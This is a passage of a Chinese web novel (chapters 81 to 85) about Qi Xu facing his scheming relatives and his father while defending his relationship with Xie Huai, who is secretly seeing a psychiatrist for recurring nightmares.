戚栩和谢淮是五人群里最迟放寒假的两人,蒋子慕已经放了一个星期的假期,徐亦辰和方倩也在两天前放假了。 不到一会儿五人群里已经99+的消息,戚栩点开一一划过,徐亦辰一个人说完了一个班的话。 在戚栩打算回复的时候,陈威忽然踩下刹车。 戚栩猛然抬头发觉已经到了老宅门口,只是有人拦车。 被沈老爷子踢出沈氏的那些旁支知道戚栩今天放假,特意守在了这边,出了网上那些事他们没胆子到戚栩学校闹。 这些人还是没把网上的事当回事,归根结底不过是喝醉酒口不择言说了几句错误的话,其实没什么大事,是老爷子小题大做。 今日来老宅的目的想让戚栩替他们求情,谁曾想老爷子闭门不见客,任由那么冷的天他们在门外。 沈家旁支姓沈,可以在庄园来去自由,但还要戚栩不愿,他们永不被允许踏入老宅一步。 戚栩下车,沈三叔,沈小叔等旁支一家老小都涌上来。 “戚栩啊,放假了是吧,有空来三叔家里玩。” “过两天小叔带你出国玩,和你表弟一起玩得开心。” 戚栩根本不想搭理,没给他们正眼一个:“各位,你们的脸皮都是橡胶做的吧,怎么能这么厚脸皮找上我,爷爷把你们革职,可还有分红在沈氏,你们就不怕我让你们连分红都拿不到。” 沈三叔被戚栩说得气急败坏:“戚栩,我们怎么说也好歹是你的长辈,在后背说你几句不是,你就该受着,忠言逆耳,我们都是为了你好。” 戚栩发出一声哂笑,众人不知道他在笑什么。 沈小叔知道戚栩给沈卓海打过电话谈过股份的事,知道他想进入沈氏和沈枫凯争一争。 谁不想当沈氏的总裁,沈枫凯,沈泽予,被认回来的戚栩。 他自信地以为抓住了戚栩的命脉,压低声音说:“待你进入沈氏后我们可以为你所用,会助你登上沈氏总裁这个位置。” 浪费了十几分钟的时候听他们说废话,戚栩也算是仁至义尽,声音冷了几个度:“回家等着收起诉信吧,你们几个涉嫌故意伤人。” 沈三叔的脸变得苍白,还在嘴硬:“你在胡说八道什么?” “1月6号,晚上22点45分,建设大道,可能你们没有实际参与,但应该出了不少主意吧。” 沈小叔一个箭步上前想拉住戚栩的手,陈威一把拦住,将人挡在了跟前。 沈小叔骂骂咧咧:“你有什么证据,血口喷人,你自己树敌太多别把什么莫须有的罪名都往我们身上扣。” “若要人不知除非己莫为。” 戚栩扔下一句话扬长而去。 当然,戚栩是炸他们的,三辆车的人均不承认自己被收买行凶,谢淮动用了秦家的力量也只是查到他们的转账信息,还是从国外的账户转进来。 能查,但得要一段时间。 还得从宋若明下手,沈泽予忠诚的合作伙伴。 老宅大门有保镖守着,硬闯是闯不进去的。 戚栩刚走进正院看到李叔朝他使眼色,戚栩的反应力被期末考殆尽,有点没明白他的意思。 然后他就看到坐在里屋的沈家一家四口。 许久不见的沈家夫妇和沈泽予,至于多久没见,戚栩更希望今日没有见到他们。 假期还没正式开始,回个家过关斩将似的,小喽啰,大boss。 戚栩住院期间不知道谢淮的作为,单纯以为沈家夫妇是为了网络舆论来的。 而沈泽予,有他们护着,保着,每次都能重新启航。 准确来说,这两人也是帮凶。 第82章 第 82 章 戚栩的出现瞬间引起了里屋所有人的注意, 沈枫凯看到戚栩更是紧皱眉头一脸不耐烦的模样,宛如不希望戚栩出现在这里。 大学生放假不回家还能去哪。 戚栩无视了沈枫凯的眼神,也无视了其他人心怀鬼胎的眼神径直地走到沈老爷子身前:“爷爷, 我没让他们进来。” 老爷子对门外的那些人已经仁至义尽, 他们还能每年在沈氏拿到分红,就算百年归老之后面对逝去的兄弟也问心无愧。 他不太在意地说:“这里是你的家,你做主。” 沈卓海有段时间没现身了,不代表他已经隐退,怎么说他也是沈家的二把手, 各路的消息一直都没有缺过。 老爷子把老宅给了戚栩,沈氏旁支一直在闹。 也包括他那儿子和谢家孙子关系匪浅。 老爷子似乎要把家业交给戚栩,对他而言, 戚栩和沈枫凯都是他的儿子,无论交给谁都是他受益。 只是沈卓海不满戚栩的处理方式,被外人看到了就该说他们沈家不和。 “他们都是沈家旁支, 你作为沈家后辈应该善待,就算他们做了什么过分的事, 看在都是叔伯的份上应该体谅,这也是你作为沈家后要学会的。” 戚栩接过李叔递过来的花茶,不紧不慢地喝了一口暖和身子, 他还没说话沈枫凯就忽然替他说话。 “父亲,他们几十年来一直在吸我们家的血, 仗着姓沈在沈氏惹下了多少个窟窿, 我费了好些力气才填补上, 被爆出他们一群人勾结谋取沈家家产。”说着沈枫凯扫了一眼一直在沉默的沈卓海, “您还能做到善待吗?” 网上的事沈卓海当然有所听闻,沈泽予和戚国辉父子相认的事也是他一手促成, 如果没有被爆出养子狼子野心想要勾结沈家旁支谋夺家产的话,这将会一步完美的棋子。 这步棋已经费了,那就换一步棋。 沈卓海对戚栩说:“明天我让人带你去把姓氏改回来,一直顶着个外姓像什么话。” 刚认回来的时候没人提过这件事,所有人都不放在心上,只有老爷子私下和戚栩提过,被戚栩所拒绝,姓什么不重要,重要的是我是你的孙子。 过后老爷子就没提过了。 只是现在沈卓海在这个时候提,无非是为了戚栩能够名正言顺接手沈氏。 “不必了。”戚栩觉得好笑,也笑了出来,仿佛这是一件什么好笑的事,“还指望我替您养老吗?您都有这么多好儿子了,不够?做人不能这么贪心吧。” 沈卓海已经将近三个月没见戚栩,这对一个住校大学生来说正常不过,不正常的是两人再见面似乎不再像父子。 他怒言拍桌:“你是我沈卓海的儿子,你怎么敢对我这样说话。” 戚栩轻嗤:“我不否认是你的儿子,但我绝对不是沈家的后辈,为你所利用谋取利益,我是爷爷的孙子,我会尽孝,我会给他养老,沈家其他人对我而言,无关紧要。” 无关紧要四个字足以将打破沈家夫妇,沈枫凯试图和戚栩组成幸福美满一家的幻想。 改姓是上一世18岁所想的事,少年人自尊心重,不乏有心人问他你为什么不姓沈,最后名不正言不顺也包围了他28年。 这一世的戚栩是无情的,亲情的位置有老爷子足够了,他不欠任何人。 曾云前段时间被沈泽予伤了心,彻底对这个小儿子失望,今日带他来老宅无非是为了最后一次替他求情。 如今听到亲生儿子的一番话,挽回的话还没有说出口似乎已经没有说出来的必要。 “小栩,妈妈不该没弄清楚事情的真相就责怪你,以后妈妈会……” 她顿了下,连忙让沈泽予认错:“你赶紧认错,你怎么能做这些事。” 沈泽予似乎发觉自己的地位不如以前,害怕被沈家所抛弃,声音颤抖:“对不起,二哥,我不该让戚国辉去找你,是他纠缠我在先,我第一次见到他害怕,我知道自己没有继承权沈三叔他们在套我的话,我因为被迫休学口不择言,真的对不起,你放心,我以后不会再出现你的面前。” 说完这些话后沈泽予在沈家夫妇面前跪了下来,红着眼睛说:“我对不起爸妈的教育和培养,我会离开沈家,但我永远都是你们的儿子,以后我会给你们尽孝。” 曾云有些动容,偏头不忍心去看。 戚栩极其冷漠扫了他一眼:“放心,你会为你所作所为付出代价。” 沈泽予不知从哪里得到胆量敢和戚栩对视,那双眸子已经不像是一个18岁的人,阴沉,被蒙上了一层雾。 沈卓海当然做不出把沈泽予赶出沈家的事,没收股份,没收职位,沈泽予就别想再进入沈氏。 “这些事你确实做得太过分,就算你二哥和你争……” 戚栩不太想和他们纠缠下去,也不想看他们一家情深,起身对老爷子说:“爷爷,我先回院子。” 老爷子都应允了,沈卓海再次拍桌子不乐意道:“站住,你的教养呢,长辈还在这里,你这是把我们不放在眼里。” 戚栩转头看了他一眼,沈枫凯却帮着劝:“爸,他今天才考完试,这段时间强度很高,让他先去休息。” 沈卓海没听进去,依旧自行输出:“学业?他把学业放在心上了吗,我还没说他把谢老的孙子带坏,我刚刚去拜访谢老,他闭门不见,在这样下去沈谢两家的情谊就断在他手里。” 话音刚落,在主座的老爷子甩了他一棍拐杖,所有人都吓了一跳,沈卓海被父亲打得白了脸。 老爷子的脸色不算好:“沈谢两家除了我和谢老头有情谊,你们这些人能拍着胸脯保证不用我的名义能和他们往来,我的孙子喜欢谁,喜欢干什么用不着你管。” 沈卓海撑着桌子:“父亲,那可是几十年的情谊,之后沈氏和谢氏还有合作,要是……” 沈老爷子听到他现在还在说利益的事,喘了几口粗气。 戚栩连忙上前抚着老爷子的背,让李叔拿速效救心丸,语气不善地对那几个人说:“带着你们尽孝的好儿子离开,不要让我不说第二遍。” 沈卓海还想说什么,戚栩示意门口的陈威,后者带着老宅的保镖将人客气地送了出去。 沈枫凯是收到谢淮给他发的事故意外调查报告,事故的参与者已经被拘留,至于事故的幕后主使还在调查中。 当他看到转账的账户是国外时,想到了被送出国宋若明所在的国家,再结合那颗催。情药。 这次车祸可是谋杀。 沈枫凯对沈泽予的心态已不同从前,那个单纯无害的小弟不知什么时候变了。 沈泽予没有上沈家夫妇的车,出了父子相认的戏码后,沈泽予已经搬出了沈家。 沈枫凯不忍心看着沈泽予越陷越深,苦口婆心地劝道:“泽予,不要再做糊涂事了,万幸这一次戚栩没有生命危险,要是出了什么事,沈家和谢家不会放过你。” 沈泽予一改在沈家夫妇面前软弱的模样,笑得有些疯癫:“沈家?哥,你也不会放过我吗?” 沈枫凯向他陈诉一件事:“戚栩是我的亲弟弟。” 此刻沈泽予发觉自己好像抓不住某种东西,随风飘去。 谢淮的人一直在调查他,不惜和秦家翻脸来替戚栩出气,好在他所有的交易点都在国外,秦家的势力只限于国内。 沈泽予面对沈枫凯的时候表露出一丝真情实感:“哥,你放心,我说了不会再出现在他的面前,说话算话。” 沈枫凯于心不忍:“我给你买了两天后的机票,出国吧,不要再回来,谢淮那边我会和他说清楚。” 沈泽予笑了笑,如以前那样的乖巧:“好。” 他朝沈枫凯张开双手:“哥,拥抱一下吧,这应该是我们最后一次见面。” 沈枫凯和沈泽予拥抱的时候,没能看到有人靠近了沈枫凯的车装了个定位器。 将沈家人送走后,戚栩在里屋守着家庭医生帮老爷子检查,等到家庭医生说了几个注意事项后,李叔带着人离开。 戚栩在倒热水,老爷子忽然说:“你爸那个老糊涂,以后还是别让他再过来了。” 戚栩低头把水放在老爷子面前:“他是您儿子,来探望天经地义,我没这个权利剥夺。” 老爷子说:“我更希望你活得自在。” 戚栩说:“我现在活得很自在,也挺开心的。” 这是实话,他的未来掌握在自己身上,有种前世未能体验过的充实感。 也有人为他们的未来做准备,让他在前进的路上不会再孤单。 一切都在慢慢变好。 晚饭过后,戚栩敲响了隔壁谢家的大门。 佣人开门的时候看到戚栩在外面第一时间婉拒:“不好意思戚少爷,老爷子已经睡下了。” 依旧是闭门不见。 戚栩并没有强求,请他帮忙转告:“还请麻烦你帮我转告一声,我不是为自己来,而是为爷爷来。” 几分钟后,佣人再来开门,这一次请戚栩进门。 谢老爷子的一身装扮明显没有睡下,看到戚栩进来放下手里的书。 管家让人送茶进来,戚栩目的明确,速战速决,知道谢老爷子此时应该不想见他。 “谢爷爷,我爷爷明天想约您喝茶。” 谢老爷子愣了下,似乎从来没有遇到过一上来就直接说目的,没有任何前提,而且如今沈谢两家关系僵硬,当事人还是面前这位小孩。 谢老爷子对待别人家的孙子也是个通透的,没说什么话:“你爷爷怎么不亲自来?” 戚栩说:“他下午有点不舒服,吃完饭早早睡下了。” 今天下午隔壁闹闹哄哄的,谢老爷子哪能不知道,他见戚栩来见他没说其他事,难得一见沉得住气。 “你不说一下和阿淮的事?” 戚栩知道谢老爷子的心脏比自家爷爷的心脏脆弱多了,没赶着气人。 “我怕惹您进医院,还是不说了。” 谢老爷子皱眉:“你就没想向我表明对谢淮的感情?” 戚栩想了想,觉得心里想说的话有些难听,但还是说了:“我在你面前向你表明对他的感情有什么意义,这样你们所胁迫他的对赌就会作废吗?我觉得你们根本没把谢淮当孙子,而是当一个你们两家的附属品。” 此时站在谢老面前的戚栩,他没把这孩子当成普通的18岁孩子,普通人都无法能够坦然自若地对他说出这样的话。 沉着冷静,不见丝毫胆怯,以后必定是个人才。 和他孙子一模一样,牙尖嘴利的。 当时他孙子在两家人面前,面无表情地说:“我会听你们的话不证明我是你们的附属品,对赌是我给出的协议,希望你们着重考虑。” 那一敌三的阵势,把他们一辈子所教全都用在他们身上了。 谢老爷子冷哼了一声:“相对于以后你们的伴侣是同性,遭受一切的非议,这个对赌算得了什么。” 戚栩不会说什么漂亮的话,目前他所希望两位老人不要因为他们的事中断这份几十年的情谊。 “我和谢淮是一码事,你和我爷爷是一码事,我不姓沈,我姓戚,我也不是我爷爷教出来的,我不希望你们两个为了我们的事不再来往。” 谢老爷子是第一个知道戚栩存在的人,沈老头找到戚栩的时候第一个告诉他,他还记沈老头一把年纪红着眼眶的模样。 他们半截身子都埋进黄土里,让他们红眼眶的事没几件,当时他得知这个孩子生活在那种地方频频叹息。 “那你们为什么不能分开,你们分开了,我和你爷爷的情谊自然就会继续。” 戚栩反问:“那我就有些怀疑你们俩几十年情谊的真假,虽然我和谢淮所认识的时间只有半年,我们对彼此的感情很坚定,你们几十年的友谊因为我们两个而中断,是不是有点塑料感情了。” 谢老爷子:“……” 一旁的管家紧抿嘴巴低头不语。 谢家对后辈的教育很严格,哪出现过像戚栩一样性格的孩子,质问上长辈了。 谢老爷子和戚栩大眼瞪大眼的,最终谢老无话可反驳,自我放弃地摆了摆手,无奈地说:“回去告诉你爷爷一声,明天我去找他喝茶。” 戚栩终于笑了起来,恢复人见人爱的模样:“好,我给你们准备茶叶。” 等到戚栩离开后,谢老爷子才叹气:“这孩子好像学过变脸,把我们谢家拿捏得死死的,怪不得和阿淮处得这么好。” 管家搭嘴:“性格是挺好的,您不也喜欢。” 谢老爷子摇了摇头没说话,叹息声不断。 第83章 第 83 章 沈老爷子和谢老爷子早早就去喝茶了, 沈老爷子知道戚栩昨晚找过谢老头,也不知道说了什么,让这倔强老头松了口。 这两孩子总归是不容易, 沈老爷子带着珍藏茶饼去会会这个老家伙。 临走前还不忘吩咐人把戚栩给叫醒做体检。 所以放假的第一天一大早戚栩被吵醒了, 还因为有抽血项目不能吃早餐,这个时候的戚栩起床气阈值来到最高数。 谢淮也有所预料,早早地给戚栩打电话,在一起之后电话接通的数量从五个起步到三个。 打了三次后,戚栩终于接通了电话。 “今天要去做体检, 起床了吗?”谢淮问。 戚栩还在床上,门外的李叔停止了敲门。 “起了。” 谢淮说:“那开个视频。” 戚栩半梦半醒:“视频有什么意思,你怎么不来叫醒我。” 谢淮回:“十分钟后我……” 戚栩翻了个身, 打断了他的话:“别来,我开个玩笑,你忙你的。” 今天谢淮也起了个大早, 准确来说半夜醒了之后就没睡着,如果戚栩在谢淮身边准会闻到他一身的烟味。 “昨晚和老爷子说了什么?” 戚栩习惯了这种聊天式叫起, 渐渐地清醒过来:“我应该没把他气到吧。” 谢淮把满了的烟灰缸倒进垃圾桶,笑道:“管家说晚上吃了一次救心丸,还好。” 戚栩“哦”了一声, 坦白:“不是我在的时候吃的,可能事后他觉得说不过我这个小辈觉得不忿, 得吃点药压压惊。” 谢淮倒也不担心戚栩和老爷子会加深矛盾, 戚栩懒, 不会和别人吵, 当然也有更重要的因素,他尊老爱幼, 面对老人和小孩有一定的耐心。 “起床吧,下午我来接你。” 戚栩伸了个懒腰:“别忙活了,我得去一趟公司,下班之后我去找你。” 两人再说了一会儿,在戚栩起床洗漱的时候挂了电话。 半个小时后李叔带着戚栩去医院体检。 戚栩坐在后排和李叔说话:“李叔,你也去做检查吗?” 后面还跟着一车的保镖,阵势有些大。 李叔笑得乐呵:“我不做,原本是老爷子跟着你一起来,这不是你给他安排了行程来不了,检查得有家属在身边,我暂时当一下小少爷的家属。” 戚栩笑道:“你和爷爷都是我的家属。” 李叔回:“等回家了,早餐和午饭一起补回来,我特意让厨房给你炖了药膳。” 戚栩的脸上一秒前还挂着笑容,一秒后瞬间消失,扭头去看窗外的街景。 这一次检查比刚回沈家的时候还要详细,首都数一数二的私立医院,应该提前打过招呼,每个项目都有护士带着去。 所有项目做完要将近两个小时,戚栩中途还处理了几个工作电话,李叔幽怨地看了他好几眼。 戚栩在休息区等候的时候,无意撞见了谢淮的母亲秦缓思,陪在她身边的是一位陌生的妇人,简约的装扮能看得出来气质不菲。 戚栩起身向秦女士问好:“秦阿姨。” 秦缓思惊讶在这里看到戚栩,关心地询问:“生病了?” 戚栩回:“过来体检。” 秦缓思见状轻拍了拍旁边人的手,向她介绍:“大嫂,这是戚栩。” 秦夫人不着痕迹地打量面前的年轻男人,戚栩这个名字在他们秦家内部可谓是一日之内人尽皆知,为此三老在主位,两家人在书房争执不已。 那时她才知道,她丈夫秦靖似乎也知道戚栩,好像只有她不知情。 过后她问丈夫何时知道这件事,丈夫脸上的表情多少有点猜不透,说了个很早的时间。 这让她惊讶不已,半年之前。 戚栩着实对秦家人不甚了解,秦家和林家商政结合,两老已经退位,当家人秦靖身居高位,妻子不常出现,他上辈子哪接触过秦家。 退而其次微微点头礼貌问:“秦夫人。” 秦夫人对这个孩子的第一印象不错,不卑不亢,也终于知道丈夫持中立态度的原因。 她回以微笑:“你好。” 这个时候护士拿着一份资料走向戚栩:“戚先生,谢先生帮你预约了心理科,这是最后一个体检项目。” 戚栩愣了下,才知道今天的体检是谢淮给他安排,让他放假第一天早起的罪魁祸首。 在秦缓思面前戚栩没发作,在心里骂了这个狗东西好几遍,怪不得这人今早叫他起床。 “阿姨,我先去检查。” 秦缓思说:“去吧,放假了,多来阿姨家玩。” 戚栩跟着护士去心理科。 秦夫人打趣秦缓思:“你倒是喜欢这孩子。” 秦缓思顺势坐下:“我儿子喜欢我就喜欢,阿淮为了给那孩子喝中药舒服亲手做了果脯,而且在关禁闭的时候亲自下厨给那孩子送餐,你什么时候见过我儿子这样,总归像个有感情的正常人。” 秦夫人说:“两老哪不知道阿淮的改变,说到底异性结婚都有可能离婚,况且他们两个是同性,年纪也小,未来的事谁也说不定。” 不知道怎么秦缓思倒没这个担心,如果现在不是法治社会,她更担心她儿子把人给锁起来。 秦缓思感慨道:“两个孩子都在为他们的未来共同努力,我们做父母不能当他们的绊脚石。” 戚栩在进行心理科医师问诊前给谢淮打了个电话,没接通。 戚栩给他发了一条语音后将手机静音,走进心理诊室。 “谢先生,你最近的药量增加了一倍。”心理医生拧开药瓶看了一眼几乎见底的药丸,眼底带着担心,“这几天还在做那个梦吗?” 谢淮是一个星期前主动找他治疗,这种自己知道心理有疾病主动找上门治疗的病人其实是最难搞的,他们听医嘱,但又不完全听。 谢淮垂着眸,看不清眼里的情绪:“嗯,每天晚上。” 医生给他倒了一杯温水,轻声细语地问:“这一次看清楚了那个人是谁了吗?” 谢淮抬眸看着他:“没有。” 医生在心里叹了一声,在病人的允许下,给他做了一次催眠治疗。 全然放松,在药物的加持下,隐瞒在心底的话即将显露出来。 “我的手都是鲜血,楼梯,很多人。” 医生的笔一顿,这是新词,轻声询问:“都是什么人?” “死不足惜的恶人。” 这是第一次从病人的语句里听出了杀意,这个是临床上常见的表现出反社会人格特征。 谢淮继续说。 “很轻,很瘦。” “心脏停止跳动。” “手串。” 过了许久,他紧皱着眉头才艰难地说:“墓碑。” 距离上一次催眠多了几个新词,虽然混乱,几乎可以确定病人知道梦里的人是谁,至于问诊的时候不愿说,可能是不想面对梦境,这个梦境很大可能是对他来说某个重要的人意外身亡,对病人来说是无法接受的事。 半个小时后结束催眠,医生起身打开室内的灯光,让问诊室瞬间变得光明,谢淮睁开眼,仿佛照入了他内心的黑暗。 “谢先生,你之前和我说的那个梦是不是有后续。” 谢淮无法否认也无法解释这个梦为什么还有后续,病床上的人变成一块冰冷的墓碑,可依旧看不到墓碑上的字,他的手仍然拿着那串手串。 旁边站着人,絮絮叨叨地说着什么,他一句话都听不清。 “他从那个世界消失了,只留下我一个人。” 有松口的迹象,医生委婉地问:“他对你来说是很重要的人吗?” 谢淮沉默了两秒后说:“我不知道在梦里是不是,但在这个世界里他是我的爱人。” 医生记录的手一顿,也终于得到了重要的关键词。 “你认为梦境里的他和现在的他不一样吗?” 谢淮说不出否认的话,因为他也不知道是否一样,手串一样,但在梦境中没能见过一张清晰的脸,包括他。 “我能确定应该是梦,可能由我的偏执所导致,我在想是不是要把人锁起来才能避免这一切。” “可他是自由的,我不该为了自己的私心而伤害他。” 一个为自己盖章病情的病人,也向他坦露自己深处的想法,让医生直呼大事不妙。 “谢先生,如果可以的话,我想见见……” 谢淮忽然直视医生,深幽不见底的眼眸让医生瞬间闭上了嘴,让他清楚地意识到病人口里的爱人惊动不得。 问诊结束之前,医生向谢淮提议让他休息一段时间,他看得出来谢淮的精神紧绷,也希望通过这段时间更加了解病人的病情。 提议最后还是没有接受,谢淮没有时间休息,他近四年的工作计划几乎是满的,他也不能浪费一分一秒在其他地方。 医生只好给他开了药,嘱咐他不要再加服药剂。 离开医院的时候已经中午,今早谢淮的状态不对,无法开车,所以让老高送他过来。 老高不是多话的人,在驾驶座看着谢淮手上的药欲言又止。 谢淮只说了一句话:“不要告诉任何人。” 这个任何人包括秦家人,谢家人,还有戚栩。 谢淮拿出手机看到戚栩给他打了电话,又听了对方给他发的语音条,气急败坏,似乎起床气在该爆发的时候停滞,留着在他面前暴露出来。 谢淮给他回了一个电话,在即将自动挂断的时候,戚栩才不紧不慢地接通。 “明天开始你来帮我喝药膳,或者我俩打一架,不管你是输还是赢,都要喝。” 这个架好像也没有要打的必要,谢淮倚着靠背,大半天下来扬起了第一个笑容:“嗯,每天我都帮你喝,打架的话,地方我只接受床上。” 不知道戚栩在电话那头骂骂咧咧说了什么,谢淮的笑意更深了。 刚刚从医院出来阴郁的谢淮不见了踪影,现在的他只是一个试图安抚炸毛男朋友的谢淮。 第84章 第 84 章 戚栩的体检报告出来的第一时间送到谢淮手里, 当时是中午,戚栩正在和药膳作斗争,谢淮从谢家老宅过来一起用餐。 准确来说, 是当个陪吃的。 谢淮在老宅陪着谢老爷子用过餐, 过来喝饭后药膳。 谢淮对药膳的味道习以为常,一大半炖盅的汤很快就喝完,坐在戚栩对面处理文件。 体检报告是这个时候送到谢淮手上,谢淮把手上的文件放在一边,翻开体检报告。 正在吃饭的戚栩随口问:“看什么?” 谢淮回:“你的体检报告。” 戚栩连忙把药膳推到边上:“让李叔也看看, 我身强力壮根本不需要补。” 谢淮一页一页认真看戚栩的体检报告,身体上确实没多大的问题,体虚这个问题西医也检查不出来。 前几日许老过来把脉看诊, 戚栩因为项目熬了几天的夜,抵抗力下降染上了感冒,许老抓了几副药剂喝了两天。 谢淮说:“不喝药膳就得喝中药。” 死亡二选一, 戚栩撑着下巴研究着眼前这位喝药膳面不改色的人:“你的味觉是不是退化了。” 谢淮抬眸,面不改色地说:“能尝得出来你的眼泪是咸的。” 戚栩:“……” 没等戚栩回应, 谢淮继续说:“或者你想让我说说其他东西的味道吗?” 戚栩在桌底下给了他一脚:“不说话没人当你哑巴。” 谢淮笑了笑,给他夹了一块炖羊肉:“你问的,我不能说?” 戚栩冷笑了一声:“你继续说, 我听听什么味道。” 谢淮举手服输:“我闭嘴。” 戚栩继续吃饭,谢淮继续看最后一页的体检报告。 当谢淮翻到最后一页时, 手一顿, 纸张的一角差点被扯烂。 惊恐应激症状, 发作次数一次, 地点高层楼梯,导致病症发作的原因是发生过踩空事件。 问诊是极其私人的事, 过程未经允许不得公开,报告上只有结果。 病人发生应激的症状此时过少,且病人平时对楼梯并不恐惧,要求每个月准时复诊,并开了应急的药物。 楼梯,同时这也是谢淮的应激词语。 谢淮想开口问戚栩何时什么发生过踩空事件,但因为病情的发作无法开口,他咬着牙克制着自己的手抖平静地从口袋里拿出药瓶,僵硬地拧开,在戚栩疑惑的眼神下把药吃了。 戚栩放下筷子起身,走到谢淮的身前拿起桌子上的药瓶:“吃什么药?” 谢淮抬手将人扯到腿上,搂着他的腰,过了好一会儿才说:“维生素。” 确实是维生素的瓶子,戚栩拧开看了一眼,已经没了三分之一的量。 “怎么突然吃维生素。”戚栩把药瓶放回桌上,摸了摸谢淮的额头,“最近身体有不舒服的地方吗?” 谢淮自然地说:“没有,最近有点忙没怎么运动,和你一样的抵抗力下降,医生建议我吃维生素。” 戚栩知道谢淮很忙,他熬完夜已经凌晨1点多,睡下的时候谢淮还没有应酬回来。 他抓了抓谢淮的头发:“药膳就该你喝。” 谢淮被戚栩这一句话逗笑了,下巴抵在他的肩膀上,心脏贴着心脏,闭着眼睛问:“心理报告上说你有惊恐应激,什么时候发生过踩空事件?” 戚栩摩挲过谢淮的后颈,慢悠悠地说:“以前替别人打工给人送货,走到楼上的时候才发现自己送错了,转身赶着下楼不小心踩空,滚下楼梯了……” 腰上的手一个用力,勒得他生疼 。 戚栩的话截然而止,撞了一下谢淮:“干什么?” 这人最近是没运动,手劲儿倒是一点都没变。 谢淮没有松开手而是将人抱得更紧,戚栩从楼梯上滚下的情景和梦中的一幕重叠,他怀里的人都是血。 不,这只是一个梦, 怀里的人才是最真实的。 戚栩扯开谢淮:“什么毛病?” 谢淮梗着喉咙问:“之后呢?” 就这个模样还想知道事故的后续,戚栩好声没好气地说:“我没死,活着来见你,但现在要被你勒死。” 谢淮松开了手,戚栩认真地看着他,只觉得他这个状态不对:“是不是出什么事了?” 谢淮回:“没有。” 戚栩信才怪:“再给你一次机会。” 谢淮看到戚栩严肃的神色才说:“过几天我可能要去一趟港岛。” 戚栩问:“就这?” 谢淮蹭了蹭他的颈脖说:“不想去。” 戚栩问:“去几天?” 谢淮说:“最快也要一个星期。” 戚栩有自己的事业,谢淮虽然很想让戚栩跟着他一起去,说到底还是不想做强迫他的人。 两人抱了好一会儿,沈老爷子走进来的时候哎呦了一声,戚栩才从谢淮的腿上起来。 “哎呦什么,爷爷,您没见过情侣亲亲抱抱?”戚栩看着门口的两位装着扭头不看又忍不住看的两位老人。 沈老爷子被李叔扶着进来:“没见过吃饭还要抱在一起这么黏糊的。” 戚栩坐回自己的位置上,老爷子瞅了一眼几乎已经凉透的药膳,让李叔去重新加热。 戚栩立即捧起碗咕咚咕咚地一口气喝完。 拿去热一热,半碗变一碗,一碗变一盅。 老爷子和李叔对视了一眼,双方都很满意刚才的配合。 “体检报告出来了吧。”老爷子转移话题。 谢淮不动声色地将心理诊断的报告压在文件下,最后才递给沈老爷子。 一老一小坐在戚栩对面监督着吃饭似的,还要接受盘问。 这顿午饭戚栩都少吃了一个饭后甜品,原因是老爷子让他控制摄糖量。 等到谢淮出门办事,老爷子回到自己的院子,戚栩把陈威叫了进来。 “把这颗药送去检验一下什么成分。” 陈威低头看了一眼桌面手帕上的药片,继而又听到戚栩问:“老高有没有和你提起过最近去医院的行程?” 陈威把药片收起来:“没有。” 戚栩若有所思,谢淮的状态明显不对,每天他不吃的蔬菜全扔到他的碗里,哪还缺什么维生素。 有时候过于了解一个人的生活习性也不完全没有好处,起码他能一眼就看穿谢淮在说谎。 当然谢淮也应该知道自己看穿了他说谎,那一颗药应该查不出来什么。 不出所料,几天后陈威拿着药物成分的报告,结果只是一颗普通的维生素补充剂。 谢淮已经飞去港岛,临走前差点把他收进行李箱打包带走。 如果不是戚栩向他普法,携带运输人体犯法,戚栩这个时候已经被带上了飞机。 随着谢淮飞港岛,还有一个消息,沈泽予失踪了。 沈枫凯给他买了机票,他的人亲自看着过了安检,但到了落地的时间却没有接到人,一查才发现他根本没有上飞机。 没有任何出境的记录,证明他还在国内。 先前沈枫凯找过谢淮说过将人送走这件事,帮沈泽予求情,谢淮只是轻飘飘的一句,你可以送走试试。 沈枫凯怀疑谢淮将沈泽予带走,如今找不到人只能找戚栩。 沈枫凯因为没有预约,足足在会客室等了一个小时才见到戚栩。 被助理带着进办公室时,戚栩刚和李恺兴交代完重要事宜。 李恺兴认出了沈枫凯,朝他微微点头问好,并不热情,他多少了解过戚栩和沈家的关系,豪门水深,一个不小心万劫不复。 等到助理和李恺兴离开后,沈枫凯开门见山:“泽予失踪了,我怀疑这件事是谢淮所做。” 戚栩闻言皱眉看他:“你有病是吧,有证据吗?” 戚栩更想说,谢淮要关也是把他关起来,除了他没有别人,也不能是别人。 沈枫凯说:“我只和谢淮说过把是泽予送走的事,进了安检没上飞机,只能是被人带走。” 啪的一声,戚栩重重地放下手里的笔:“沈枫凯,你要把人带走是你的事,没必要将这件事弄得人尽皆知,我有的是能力把人弄回来,但你在面前污蔑我的人,这就是我的事。” 沈枫凯知道谢淮的手段,戚国辉的事迹被爆出伪装成对家是他的手笔,戚国辉被拘留也是他所为。 谢淮这个人的正真面目,戚栩可能都没见过,毕竟年轻人被感情蒙住了眼睛。 “戚国辉也失踪了,你觉得有这么巧的事吗?谢淮永比你想象的城府深。” 戚栩告知他一件事:“他是什么人轮不着你告诉我,有这个时间不如管好你自己。” “还有,不要打着自以为为我着想的想法试图控制我,就算关起来就关起来,有我兜着,能出得了什么事。” 沈枫凯动了动嘴到底没说出什么话,只是说:“谢淮有秦家护着,你们两个事他们持反对,要是出了什么事,你先保护自己,他们保不准会……” 沈枫凯这个人就是,也从来没有变过,先入为主,出了这么多事还认为沈泽予是个天真单纯的人。 谢淮被两家护着,认为他无视法律法规,为所欲为的人。 谢淮在他面前打过包票,不会做危险的事,这也是戚栩的底线。 “沈枫凯,你信沈泽予,我信谢淮,就这么简单的事。”戚栩说,“人失踪了就报警,找我也没用。” 待沈枫凯离开后,不知道曾云是否知道这件事,下午又给他打了好些个电话。 戚栩一个都没接,他打算下班之后再过问谢淮这件事。 等下班时,戚栩和李恺兴一起到云瑞办公楼地下停车场偶遇到熟人。 “Hi,Xu.” 戚栩闻言看过去,李恺兴率先认出来人。 “Jackson,创智的首席执行官,买下了这栋楼的45层到顶层,足足十层楼。”他语速飞快地介绍着。 同时戚栩也想起来了,车祸前在宴会上见过对方。 Jackson依旧很热情,旁边的助理担任着翻译员的工作。 还不等助理说完Jackson就提出晚上一起吃饭,有意向和云瑞合作,商谈相关事宜。 李恺兴想都不想就应下了,要下班的戚栩无奈之下进行加班应酬。 第85章 第 85 章 戚栩和李恺兴到达餐厅的时候后知后觉, 包厢似乎已经提前预订好,除了云瑞和创智的两方人之外没有其他人。 李恺兴再见贺总热情地问好:“贺总,你这是在首都定下来了?” 贺总被调到首都分部, 分部用人之际, 职位虽然没变,但年薪和待遇提高了不少。 